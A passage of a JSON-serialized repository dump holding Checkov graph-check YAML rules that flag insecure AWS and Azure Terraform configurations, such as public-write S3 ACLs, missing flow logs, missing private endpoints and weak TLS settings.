    "content": "metadata:\n  name: \"S3 Bucket has an ACL defined which allows public WRITE access.\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CKV_AWS_57\"\ndefinition:\n  or:\n    - and:\n        - cond_type: attribute\n          resource_types:\n            - aws_s3_bucket\n          attribute: acl\n          operator: exists\n        - cond_type: attribute\n          resource_types:\n            - aws_s3_bucket\n          attribute: acl\n          operator: not_equals\n          value: public-read-write\n    - and:\n        - cond_type: filter\n          attribute: resource_type\n          operator: within\n          value:\n            - aws_s3_bucket\n        - cond_type: connection\n          resource_types:\n            - aws_s3_bucket\n          connected_resource_types:\n            - aws_s3_bucket_acl\n          operator: exists\n        - or:\n            - and:\n                - cond_type: attribute\n                  resource_types:\n                    - aws_s3_bucket_acl\n                  attribute: acl\n                  operator: exists\n                - cond_type: attribute\n                  resource_types:\n                    - aws_s3_bucket_acl\n                  attribute: acl\n                  operator: not_equals\n                  value: public-read-write\n            - and:\n                - cond_type: attribute\n                  resource_types:\n                    - aws_s3_bucket_acl\n                  attribute: access_control_policy\n                  operator: exists\n                - or:\n                    - cond_type: attribute\n                      resource_types:\n                        - aws_s3_bucket_acl\n                      attribute: access_control_policy.grant\n                      operator: not_exists\n                    - or:\n                      - cond_type: attribute\n                        resource_types:\n                          - aws_s3_bucket_acl\n                        attribute: access_control_policy.grant.*.grantee.uri\n                        operator: not_equals\n                        value: \"http://acs.amazonaws.com/groups/global/AllUsers\"\n                      - not:\n                        - or:\n                          - cond_type: attribute\n                            resource_types:\n                              - aws_s3_bucket_acl\n                            attribute: access_control_policy.grant.*.permission\n                            operator: equals\n                            value: \"WRITE\"\n                          - cond_type: attribute\n                            resource_types:\n                              - aws_s3_bucket_acl\n                            attribute: access_control_policy.grant.*.permission\n                            operator: equals\n                            value: \"FULL_CONTROL\"\n                          - cond_type: attribute\n                            resource_types:\n                              - aws_s3_bucket_acl\n                            attribute: access_control_policy.grant.*.permission\n                            operator: equals\n                            value: \"WRITE_ACP\"\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - aws_s3_bucket\n      - cond_type: attribute\n        resource_types:\n          - aws_s3_bucket\n        attribute: acl\n        operator: not_exists\n      - cond_type: connection\n        resource_types:\n          - aws_s3_bucket\n        connected_resource_types:\n          - aws_s3_bucket_acl\n        operator: not_exists\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/SGAttachedToResource.yaml",
    "content": "metadata:\n  name: \"Ensure that Security Groups are attached to another resource\"\n  id: \"CKV2_AWS_5\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_security_group\n      operator: within\n    - resource_types:\n        - aws_security_group\n      connected_resource_types:\n        - aws_alb\n        - aws_apprunner_vpc_connector\n        - aws_appstream_fleet\n        - aws_batch_compute_environment\n        - aws_cloudwatch_event_target\n        - aws_codebuild_project\n        - aws_codestarconnections_host\n        - aws_dax_cluster\n        - aws_db_instance\n        - aws_dms_replication_instance\n        - aws_dms_replication_config\n        - aws_docdb_cluster\n        - aws_docdbelastic_cluster\n        - aws_ec2_client_vpn_endpoint\n        - aws_ec2_client_vpn_network_association\n        - aws_ec2_spot_fleet_request\n        - aws_ecs_service\n        - aws_efs_mount_target\n        - aws_eks_cluster\n        - aws_eks_node_group\n        - aws_elasticache_cluster\n        - aws_elasticache_replication_group\n        - aws_elasticache_serverless_cache\n        - aws_elasticsearch_domain\n        - aws_elb\n        - aws_emr_cluster\n        - aws_emr_studio\n        - aws_glue_dev_endpoint\n        - aws_instance\n        - aws_lambda_function\n        - aws_launch_configuration\n        - aws_launch_template\n        - aws_lb\n        - aws_memorydb_cluster\n        - aws_mq_broker\n        - aws_msk_cluster\n        - aws_mskconnect_connector\n        - aws_mwaa_environment\n        - aws_neptune_cluster\n        - aws_network_interface\n        - aws_opensearch_domain\n        - aws_opensearch_vpc_endpoint\n        - aws_quicksight_vpc_connection\n        - aws_rds_cluster\n        - aws_redshift_cluster\n        - aws_route53_resolver_endpoint\n        - aws_sagemaker_notebook_instance\n        - aws_transfer_server\n        - aws_vpc_endpoint\n        - aws_vpclattice_service_network_vpc_association\n        - aws_fsx_windows_file_system\n        - aws_fsx_ontap_file_system\n        - aws_grafana_workspace\n        - aws_apigatewayv2_vpc_link\n        - aws_fsx_lustre_file_system\n        - aws_imagebuilder_infrastructure_configuration\n        - aws_fsx_openzfs_file_system\n        - aws_fsx_file_cache\n        - aws_redshiftserverless_workgroup\n        - aws_ec2_instance_connect_endpoint\n        - aws_opensearchserverless_vpc_endpoint\n        - aws_verifiedaccess_endpoint\n        - aws_m2_environment\n        - aws_vpclattice_resource_gateway\n        - aws_spot_instance_request\n        - aws_msk_vpc_connection\n      operator: exists\n      attribute: networking\n      cond_type: connection\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/SQSEncryptionCMK.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_73\"\n  name: \"Ensure AWS SQS uses CMK not AWS default keys for encryption\"\n  category: \"ENCRYPTION\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_sqs_queue\"\n      attribute: \"kms_master_key_id\"\n      operator: \"not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_sqs_queue\"\n      attribute: \"kms_master_key_id\"\n      operator: \"not_equals\"\n      value: \"alias/aws/sqs\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_68\"\n  name: \"Ensure SageMaker notebook instance IAM policy is not overly permissive\"\n  category: \"NETWORKING\"\n\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - aws_sagemaker_notebook_instance\n      operator: within\n      attribute: resource_type\n    - cond_type: connection\n      resource_types:\n        - aws_sagemaker_notebook_instance\n      connected_resource_types:\n        - aws_iam_role\n      operator: exists\n    - cond_type: attribute\n      resource_types:\n        - aws_iam_role\n      attribute: \"policy.Statement[?(@.Effect == Allow)].Action[*]\"\n      operator: \"jsonpath_not_equals\"\n      value: \"*\"\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/SecretsAreRotated.yaml",
    "content": "metadata:\n  name: \"Ensure Secrets Manager secrets should have automatic rotation enabled\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CKV2_AWS_57\"\ndefinition:\n    and:\n    - cond_type: filter\n      attribute: resource_type\n      operator: within\n      value:\n        - aws_secretsmanager_secret\n    - cond_type: connection\n      resource_types:\n        - aws_secretsmanager_secret\n      connected_resource_types:\n        - aws_secretsmanager_secret_rotation\n      operator: exists\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/SubnetHasACL.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_1\"\n  name: \"Ensure that all NACL are attached to subnets\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - or:\n        - and:\n          - resource_types:\n              - aws_network_acl\n            connected_resource_types:\n              - aws_vpc\n            operator:  exists\n            attribute: networking\n            cond_type: connection\n          - resource_types:\n              - aws_subnet\n            connected_resource_types:\n              - aws_vpc\n            operator:  exists\n            attribute: networking\n            cond_type: connection\n          - cond_type: filter\n            attribute: resource_type\n            value:\n                - aws_vpc\n            operator: within\n        - and :\n          - resource_types:\n              - aws_network_acl\n            connected_resource_types:\n              - aws_subnet\n            operator:  exists\n            attribute: networking\n            cond_type: connection\n          - cond_type: attribute\n            resource_types:\n              - aws_network_acl\n            attribute: subnet_ids\n            operator: exists\n    - cond_type: filter\n      attribute: resource_type\n      value:\n          - aws_network_acl\n      operator: within"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/VPCHasFlowLog.yaml",
    "content": "metadata:\n  name: \"Ensure VPC flow logging is enabled in all VPCs\"\n  category: \"LOGGING\"\n  id: \"CKV2_AWS_11\"\ndefinition:\n   and:\n      - resource_types:\n          - aws_vpc\n        connected_resource_types:\n          - aws_flow_log\n        operator: exists\n        attribute: networking\n        cond_type: connection\n\n      - cond_type: filter\n        attribute: resource_type\n        value:\n           - aws_vpc\n        operator: within\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/VPCHasRestrictedSG.yaml",
    "content": "metadata:\n  name: \"Ensure the default security group of every VPC restricts all traffic\"\n  id: \"CKV2_AWS_12\"\n  category: \"LOGGING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_vpc\n      operator: within\n    - cond_type: \"connection\"\n      resource_types:\n      - \"aws_vpc\"\n      connected_resource_types:\n      - \"aws_default_security_group\"\n      operator: \"exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_default_security_group\"\n      attribute: \"ingress.to_port\"\n      operator: \"not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_default_security_group\"\n      attribute: \"ingress.from_port\"\n      operator: \"not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_default_security_group\"\n      attribute: \"ingress.self\"\n      operator: \"not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_default_security_group\"\n      attribute: \"egress.to_port\"\n      operator: \"not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_default_security_group\"\n      attribute: \"egress.from_port\"\n      operator: \"not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_default_security_group\"\n      attribute: \"egress.cidr_blocks\"\n      operator: \"not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_default_security_group\"\n      attribute: \"egress.protocol\"\n      operator: \"not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_default_security_group\"\n      attribute: \"ingress.protocol\"\n      operator: \"not_exists\"\n    - cond_type: \"connection\"\n      resource_types:\n        - \"aws_default_security_group\"\n      connected_resource_types:\n        - \"aws_security_group_rule\"\n      operator: \"not_exists\"\n    - cond_type: \"connection\"\n      resource_types:\n        - \"aws_default_security_group\"\n      connected_resource_types:\n        - \"aws_vpc_security_group_egress_rule\"\n      operator: \"not_exists\"\n    - cond_type: \"connection\"\n      resource_types:\n        - \"aws_default_security_group\"\n      connected_resource_types:\n        - \"aws_vpc_security_group_ingress_rule\"\n      operator: \"not_exists\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/VPCPeeringRouteTableOverlyPermissive.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_44\"\n  name: \"Ensure AWS route table with VPC peering does not contain routes overly permissive to all traffic\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_route_table\"\n      attribute: \"route.*.vpc_peering_connection_id\"\n      operator: \"not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_route_table\"\n      attribute: \"route.*.vpc_peering_connection_id\"\n      operator: \"equals\"\n      value: \"\"\n    - and:\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_route_table\"\n          attribute: \"route.*.cidr_block\"\n          operator: \"not_contains\"\n          value: \"0.0.0.0/0\"\n        - cond_type: \"attribute\"\n          resource_types:\n            - \"aws_route_table\"\n          attribute: \"route.*.ipv6_cidr_block\"\n          operator: \"not_contains\"\n          value: \"::/0\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_route\"\n      attribute: \"vpc_peering_connection_id\"\n      operator: \"not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_route\"\n      attribute: \"vpc_peering_connection_id\"\n      operator: \"equals\"\n      value: \"\"\n    - and:\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_route\"\n          attribute: \"destination_cidr_block\"\n          operator: \"not_contains\"\n          value: \"0.0.0.0/0\"\n        - cond_type: \"attribute\"\n          resource_types:\n            - \"aws_route\"\n          attribute: \"destination_ipv6_cidr_block\"\n          operator: \"not_contains\"\n          value: \"::/0\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/WAF2HasLogs.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_31\"\n  name: \"Ensure WAF2 has a Logging Configuration\"\n  category: \"LOGGING\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - aws_wafv2_web_acl\n      operator: within\n      attribute: resource_type\n    - or: \n      - cond_type: connection\n        operator: exists\n        resource_types:\n        - aws_wafv2_web_acl\n        connected_resource_types:\n        - aws_wafv2_web_acl_logging_configuration\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AccessToPostgreSQLFromAzureServicesIsDisabled.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_6\"\n  name: \"Ensure 'Allow access to Azure services' for PostgreSQL Database Server is disabled\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_sql_server\n      operator: within\n    - or:\n      - resource_types:\n          - azurerm_sql_server\n        connected_resource_types:\n          - azurerm_sql_firewall_rule\n        operator: not_exists\n        cond_type: connection\n      - and:\n        - resource_types:\n            - azurerm_sql_server\n          connected_resource_types:\n            - azurerm_sql_firewall_rule\n          operator: exists\n          cond_type: connection\n        - cond_type: attribute\n          resource_types:\n             - azurerm_sql_firewall_rule\n          attribute: start_ip_address\n          value: \"0.0.0.0\"\n          operator: not_equals\n        - cond_type: attribute\n          resource_types:\n             - azurerm_sql_firewall_rule\n          attribute: end_ip_address\n          value: \"0.0.0.0\"\n          operator: not_equals\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/ApplicationGatewayEnablesWAF.yaml",
    "content": "metadata:\n  id: \"CKV_AZURE_120\"\n  name: \"Ensure that Application Gateway enables WAF\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - azurerm_application_gateway\n      operator: within\n      attribute: resource_type\n    - or:\n        - cond_type: attribute\n          attribute: waf_configuration.enabled\n          operator: equals\n          value: true\n          resource_types:\n            - azurerm_application_gateway\n        - or:\n            - and:\n                - cond_type: connection\n                  resource_types:\n                    - azurerm_application_gateway\n                  connected_resource_types:\n                    - azurerm_web_application_firewall_policy \n                  operator: exists\n                - cond_type: attribute\n                  attribute: policy_settings.enabled\n                  operator: equals\n                  value: true\n                  resource_types:\n                    - azurerm_web_application_firewall_policy "
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureACR_HTTPSwebhook.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_30\"\n  name: \"Ensure Azure Container Registry (ACR) has HTTPS enabled for webhook\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  \n  cond_type: \"attribute\"\n  resource_types: \"azurerm_container_registry_webhook\"\n  attribute: \"service_uri\"\n  operator: \"starting_with\"\n  value: \"https://\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureAKSclusterAzureCNIEnabled.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_29\"\n  name: \"Ensure AKS cluster has Azure CNI networking enabled\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  cond_type: \"attribute\"\n  resource_types: \"azurerm_kubernetes_cluster\"\n  attribute: \"network_profile.network_plugin\"\n  operator: \"within\"\n  value: \n    - \"azure\"\n    - \"Azure\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureActiveDirectoryAdminIsConfigured.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_7\"\n  name: \"Ensure that Azure Active Directory Admin is configured\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  and:\n    - resource_types:\n        - azurerm_sql_server\n      connected_resource_types:\n        - azurerm_sql_active_directory_administrator\n      operator:  exists\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_sql_server\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_10\"\n  name: \"Ensure that Microsoft Antimalware is configured to automatically updates for Virtual Machines\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_virtual_machine\n      operator: within\n    - cond_type: connection\n      operator: one_exists\n      resource_types:\n        - azurerm_virtual_machine\n      connected_resource_types:\n        - azurerm_virtual_machine_extension\n    - cond_type: attribute\n      attribute: type\n      value: \"IaaSAntimalware\"\n      operator: equals\n      resource_types:\n        - azurerm_virtual_machine_extension\n    - cond_type: attribute\n      attribute: publisher\n      value: \"Microsoft.Azure.Security\"\n      operator: equals\n      resource_types:\n        - azurerm_virtual_machine_extension\n    - cond_type: attribute\n      attribute: auto_upgrade_minor_version\n      value: true\n      operator: equals\n      resource_types:\n        - azurerm_virtual_machine_extension"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureAutomationAccConfigManagedIdentity.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_36\"\n  name: \"Ensure Azure automation account is configured with managed identity\"\n  category: \"IAM\"\n\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_automation_account\"\n      attribute: \"identity.type\"\n      operator: \"exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_automation_account\"\n      attribute: \"identity.type\"\n      operator: \"number_of_words_not_equals\"\n      value: \"0\"\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureAutomationAccNotOverlyPermissiveNetAccess.yaml",
    "content": "metadata: \n  id: \"CKV2_AZURE_24\"\n  name: \"Ensure Azure automation account does NOT have overly permissive network access\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n\n  cond_type: attribute\n  resource_types: \"azurerm_automation_account\"\n  attribute: \"public_network_access_enabled\"\n  operator: \"equals\"\n  value: \"false\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureConfigMSSQLwithAD.yaml",
    "content": "metadata:\n  id: CKV2_AZURE_27\n  name: \"Ensure Azure AD authentication is enabled for Azure SQL (MSSQL)\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and: \n\n    - cond_type: attribute\n      resource_types: azurerm_mssql_server\n      attribute: azuread_administrator\n      operator: \"exists\"\n\n    - cond_type: attribute\n      resource_types: azurerm_mssql_server\n      attribute: azuread_administrator.login_username\n      operator: \"number_of_words_not_equals\"\n      value: 0\n\n# Checking for condition \"number_of_words_not_equals=0\" instead of \"is_not_empty\" because\n# even whitespaces were getting considered in terraform YAML file\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureContainerInstanceconfigManagedIdentity.yaml",
    "content": "metadata: \n  id: \"CKV2_AZURE_28\"\n  name: \"Ensure Container Instance is configured with managed identity\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and:\n    - cond_type: attribute\n      resource_types: azurerm_container_group\n      attribute: identity.type\n      operator: \"exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: azurerm_container_group\n      attribute: identity.type\n      operator: \"number_of_words_not_equals\"\n      value: 0\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureDataFactoriesEncryptedWithCustomerManagedKey.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_15\"\n  name: \"Ensure that Azure data factories are encrypted with a customer-managed key\"\n  category: \"ENCRYPTION\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_data_factory\n      operator: within\n    - cond_type: connection\n      operator: exists\n      resource_types:\n        - azurerm_data_factory\n      connected_resource_types:\n        - azurerm_data_factory_linked_service_key_vault\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureKeyVaultConfigPrivateEndpoint.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_32\"\n  name: \"Ensure private endpoint is configured to key vault\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and:\n\n    - cond_type: \"filter\"\n      attribute: \"resource_type\"\n      operator: \"within\"\n      value:\n        - \"azurerm_key_vault\"\n    - cond_type: \"connection\"\n      resource_types:\n        - \"azurerm_key_vault\"\n      connected_resource_types:\n        - \"azurerm_private_endpoint\"\n      operator: \"exists\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureMLWorkspaceHBIPublicNetwork.yaml",
    "content": "metadata: \n  id: \"CKV2_AZURE_50\"\n  name: \"Ensure Azure Storage Account storing Machine Learning workspace high business impact data is not publicly accessible\"\n  category: \"NETWORKING\"\n\ndefinition:\n  or:\n  - cond_type: filter\n    attribute: resource_type\n    operator: within\n    value:\n      - azurerm_machine_learning_workspace\n  - cond_type: attribute\n    resource_types: azurerm_machine_learning_workspace\n    attribute: high_business_impact\n    operator: equals\n    value: false\n  - and:\n    - cond_type: filter\n      attribute: resource_type\n      operator: within\n      value:\n        - azurerm_machine_learning_workspace\n    - cond_type: connection\n      resource_types:\n        - azurerm_machine_learning_workspace\n      connected_resource_types:\n        - azurerm_storage_account\n      operator: exists\n    - cond_type: attribute\n      resource_types: azurerm_storage_account\n      attribute: public_network_access_enabled\n      operator: equals\n      value: false\n    \n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureMLWorkspacePublicNetwork.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_49\"\n  name: \"Ensure that Azure Machine learning workspace is not configured with overly permissive network access\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n  - cond_type: \"attribute\"\n    resource_types: \"azurerm_machine_learning_workspace\"\n    attribute: \"public_network_access_enabled\"\n    operator: \"not_exists\"\n  - cond_type: \"attribute\"\n    resource_types: \"azurerm_machine_learning_workspace\"\n    attribute: \"public_network_access_enabled\"\n    operator: \"equals\"\n    value: \"false\"\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureMSSQLServerHasSecurityAlertPolicy.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_13\"\n  name: \"Ensure that sql servers enables data security policy\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_sql_server\n      operator: within\n    - or:\n      - resource_types:\n          - azurerm_sql_server\n        connected_resource_types:\n          - azurerm_mssql_server_security_alert_policy\n        operator:  not_exists\n        cond_type: connection\n      - and:\n          - resource_types:\n              - azurerm_sql_server\n            connected_resource_types:\n              - azurerm_mssql_server_security_alert_policy\n            operator: exists\n            cond_type: connection\n          - resource_types:\n              - azurerm_mssql_server_security_alert_policy\n            operator: equals\n            cond_type: attribute\n            attribute: state\n            value: \"Enabled\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureMSSQLserverConfigPrivEndpt.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_45\"\n  name: \"Ensure Microsoft SQL server is configured with private endpoint\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and:\n    - cond_type: \"filter\"\n      attribute: \"resource_type\"\n      operator: \"within\"\n      value:\n        - \"azurerm_mssql_server\"\n\n    - cond_type: \"connection\"\n      resource_types:\n        - \"azurerm_mssql_server\"\n      connected_resource_types:\n        - \"azurerm_private_endpoint\"\n      operator: \"exists\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureMariaDBserverConfigPrivEndpt.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_43\"\n  name: \"Ensure Azure MariaDB server is configured with private endpoint\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and:\n    - cond_type: \"filter\"\n      attribute: \"resource_type\"\n      operator: \"within\"\n      value:\n        - \"azurerm_mariadb_server\"\n\n    - cond_type: \"connection\"\n      resource_types:\n        - \"azurerm_mariadb_server\"\n      connected_resource_types:\n        - \"azurerm_private_endpoint\"\n      operator: \"exists\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureMariaDBserverUsingTLS_1_2.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_37\"\n  name: \"Ensure Azure MariaDB server is using latest TLS (1.2)\"\n  category: \"ENCRYPTION\"\n\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_mariadb_server\"\n      attribute: \"ssl_enforcement_enabled\"\n      operator: \"exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_mariadb_server\"\n      attribute: \"ssl_enforcement_enabled\"\n      operator: \"equals_ignore_case\"\n      value: \"true\"\n\n    - or:\n        - cond_type: \"attribute\"\n          resource_types: \"azurerm_mariadb_server\"\n          attribute: \"ssl_minimal_tls_version_enforced\"\n          operator: \"equals_ignore_case\"\n          value: \"TLS1_2\"\n\n        - cond_type: \"attribute\"\n          resource_types: \"azurerm_mariadb_server\"\n          attribute: \"ssl_minimal_tls_version_enforced\"\n          operator: \"not_exists\"\n          \n# If ssl_minimal_tls_version_enforced does not exist, it defaults to TLS 1.2\n# Refer docs for more info:\n# https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/mariadb_server#ssl_minimal_tls_version_enforced\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureMySQLFlexibleServerConfigPrivEndpt.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_56\"\n  name: \"Ensure Azure MySQL Flexible Server is configured with private endpoint\"\n  category: \"NETWORKING\"\n\ndefinition:\n  and:\n    - cond_type: \"filter\"\n      attribute: \"resource_type\"\n      operator: \"within\"\n      value:\n        - \"azurerm_mysql_flexible_server\"\n\n    - cond_type: \"connection\"\n      resource_types:\n        - \"azurerm_mysql_flexible_server\"\n      connected_resource_types:\n        - \"azurerm_private_endpoint\"\n      operator: \"exists\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureMySQLserverConfigPrivEndpt.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_44\"\n  name: \"Ensure Azure MySQL server is configured with private endpoint\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and:\n    - cond_type: \"filter\"\n      attribute: \"resource_type\"\n      operator: \"within\"\n      value:\n        - \"azurerm_mysql_server\"\n\n    - cond_type: \"connection\"\n      resource_types:\n        - \"azurerm_mysql_server\"\n      connected_resource_types:\n        - \"azurerm_private_endpoint\"\n      operator: \"exists\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureNetworkInterfacePublicIPAddressId.yaml",
    "content": "metadata:\n  id: \"CKV_AZURE_119\"\n  name: \"Ensure that Network Interfaces don't use public IPs\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: connection\n      operator:  not_exists\n      resource_types:\n        - azurerm_network_interface\n      connected_resource_types:\n        - azurerm_public_ip\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - azurerm_network_interface\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLFlexServerNotOverlyPermissive.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_26\"\n  name: \"Ensure Azure PostgreSQL Flexible server is not configured with overly permissive network access\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  \n  and:\n\n    - cond_type: attribute\n      resource_types: \"azurerm_postgresql_flexible_server_firewall_rule\"\n      attribute: \"start_ip_address\"\n      operator: \"not_equals\"\n      value: \"0.0.0.0\"\n\n    - cond_type: attribute\n      resource_types: \"azurerm_postgresql_flexible_server_firewall_rule\"\n      attribute: \"end_ip_address\"\n      operator: \"not_equals\"\n      value: \"255.255.255.255\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLFlexibleServerConfigPrivEndpt.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_57\"\n  name: \"Ensure PostgreSQL Flexible Server is configured with private endpoint\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and:\n    - cond_type: \"filter\"\n      attribute: \"resource_type\"\n      operator: \"within\"\n      value:\n        - \"azurerm_postgresql_flexible_server\"\n\n    - cond_type: \"connection\"\n      resource_types:\n        - \"azurerm_postgresql_flexible_server\"\n      connected_resource_types:\n        - \"azurerm_private_endpoint\"\n      operator: \"exists\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLserverConfigPrivEndpt.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_42\"\n  name: \"Ensure Azure PostgreSQL server is configured with private endpoint\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and:\n    - cond_type: \"filter\"\n      attribute: \"resource_type\"\n      operator: \"within\"\n      value:\n        - \"azurerm_postgresql_server\"\n\n    - cond_type: \"connection\"\n      resource_types:\n        - \"azurerm_postgresql_server\"\n      connected_resource_types:\n        - \"azurerm_private_endpoint\"\n      operator: \"exists\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureRecoveryServicesvaultConfigManagedIdentity.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_35\"\n  name: \"Ensure Azure recovery services vault is configured with managed identity\"\n  category: \"IAM\"\n\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_recovery_services_vault\"\n      attribute: \"identity.type\"\n      operator: \"exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"azurerm_recovery_services_vault\"\n      attribute: \"identity.type\"\n      operator: \"number_of_words_not_equals\"\n      value: \"0\"\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/azure/AzureSQLserverNotOverlyPermissive.yaml",
